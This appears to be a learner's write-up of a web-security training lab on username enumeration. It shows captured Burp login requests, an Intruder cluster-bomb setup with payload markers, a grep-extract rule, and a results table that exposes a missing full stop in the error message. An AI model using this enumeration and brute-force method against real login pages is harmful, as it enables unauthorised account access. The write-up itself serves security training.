

Username enumeration via subtly different responses

This lab is subtly vulnerable to username enumeration and password brute-force attacks. It has an account with a predictable username and password, which can be found in the following wordlists:

- [Candidate usernames](#)
- [Candidate passwords](#)

To solve the lab, enumerate a valid username, brute-force this user's password, then access their account page.

Send login form to repeater to play around and find the subtle difference

Nothing from the webapp side is obvious in the error message so it must be in the backend

```
Request
Pretty Raw Hex Hackvortor
1 POST /login HTTP/1.1
2 Host: 0af7008003cb100cc0833ee300c400b6.web-securit
3 Cookie: session=vWJahDOaTJ4s5Yxai1P801otCCPVt6UI
4 Content-Length: 37
5 Cache-Control: max-age=0
6 Sec-Ch-Ua: "Chromium";v="105", "Not)A;Brand";v="8"
7 Sec-Ch-Ua-Mobile: ?0
8 Sec-Ch-Ua-Platform: "Windows"
9 Upgrade-Insecure-Requests: 1
10 Origin: https://0af7008003cb100cc0833ee300c400b6.w
11 Content-Type: application/x-www-form-urlencoded
12 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x
Safari/537.36
13 Accept:
text/html,application/xhtml+xml,application/xml;q=
b3;q=0.9
14 Sec-Fetch-Site: same-origin
15 Sec-Fetch-Mode: navigate
16 Sec-Fetch-User: ?1
17 Sec-Fetch-Dest: document
18 Referer: https://0af7008003cb100cc0833ee300c400b6.
19 Accept-Encoding: gzip, deflate
20 Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
21 Connection: close
22
23 username=peter.wiener&password=hotdog
```

Not seeing much difference I went YOLO on clusterbomb

Payload Positions

Configure the positions where payloads will be inserted, the

Target:

```
1 POST /login HTTP/1.1
2 Host: 0af7008003cb100cc0833ee300c400b6.v
3 Cookie: session=vWJahD0aTJ4s5Yxai1P801o
4 Content-Length: 30
5 Cache-Control: max-age=0
6 Sec-Ch-Ua: "Chromium";v="105", "Not)A;B
7 Sec-Ch-Ua-Mobile: ?0
8 Sec-Ch-Ua-Platform: "Windows"
9 Upgrade-Insecure-Requests: 1
10 Origin: https://0af7008003cb100cc0833ee3
11 Content-Type: application/x-www-form-ur
12 User-Agent: Mozilla/5.0 (Windows NT 10.0
13 Accept: text/html,application/xhtml+xml
14 Sec-Fetch-Site: same-origin
15 Sec-Fetch-Mode: navigate
16 Sec-Fetch-User: ?1
17 Sec-Fetch-Dest: document
18 Referer: https://0af7008003cb100cc0833ee
19 Accept-Encoding: gzip, deflate
20 Accept-Language: en-GB,en-US;q=0.9,en;q
21 Connection: close
22
23 username=$wiener$&password=$peter$
```

Username INFO generates a re-direct

Log in to complete

Congratulations, you solved the lab!

My Account

Your username is: info

Your email is: info@info.net

Following the guide

Obviously this lab is about subtly different response so working through the lab we get these steps.

Click fetch and highlight the error message

⚡ Define extract grep item

?

Define the location of the item to be extracted. Selecting the item in the response panel will create a suitable configuration. You can also modify the configuration manually to ensure it works effectively.

☒ Define start and end

☒ Start after expression: -warning>

☐ Start at offset: 4757

☒ End at delimiter: </p>\n <form

☐ End at fixed length: 29

☐ Extract from regex group

☒ Case sensitive

☐ Exclude HTTP headers

☒ Update config based on selection below

73</section>

74</header>

75<header class="notification-header">

76</header>

77<h1>Login</h1>

78<section>

79<p class=is-warning>Invalid username or password.</p>

80<form class=login-form method=POST action=/login>

81<label>Username</label>

82<input required type=username name="username">

83<label>Password</label>

84<input required type=password name="password">

85<button class=button type=submit> Log in </button>

86</form>

87</section>

Start the attack and ascend the results to reveal the subtly

Request	Payload	Status	Error	Timeout	Length	-warning> ^
6	info	200	<input type="checkbox"/>	<input type="checkbox"/>	5345	Invalid username or password
0		200	<input type="checkbox"/>	<input type="checkbox"/>	5360	Invalid username or password.
1	carlos	200	<input type="checkbox"/>	<input type="checkbox"/>	5343	Invalid username or password.
2	root	200	<input type="checkbox"/>	<input type="checkbox"/>	5343	Invalid username or password.
3	admin	200	<input type="checkbox"/>	<input type="checkbox"/>	5345	Invalid username or password.
4	test	200	<input type="checkbox"/>	<input type="checkbox"/>	5342	Invalid username or password.

Looks like the subtlety is a full stop

-warning> ^

Invalid username or password.

Invalid username or password.

Invalid username or password.

Invalid username or password.

Invalid username or password.

You can see it clearly on the webapp login page

Login

Invalid username or password.

Username

Invalid username or password

Username

info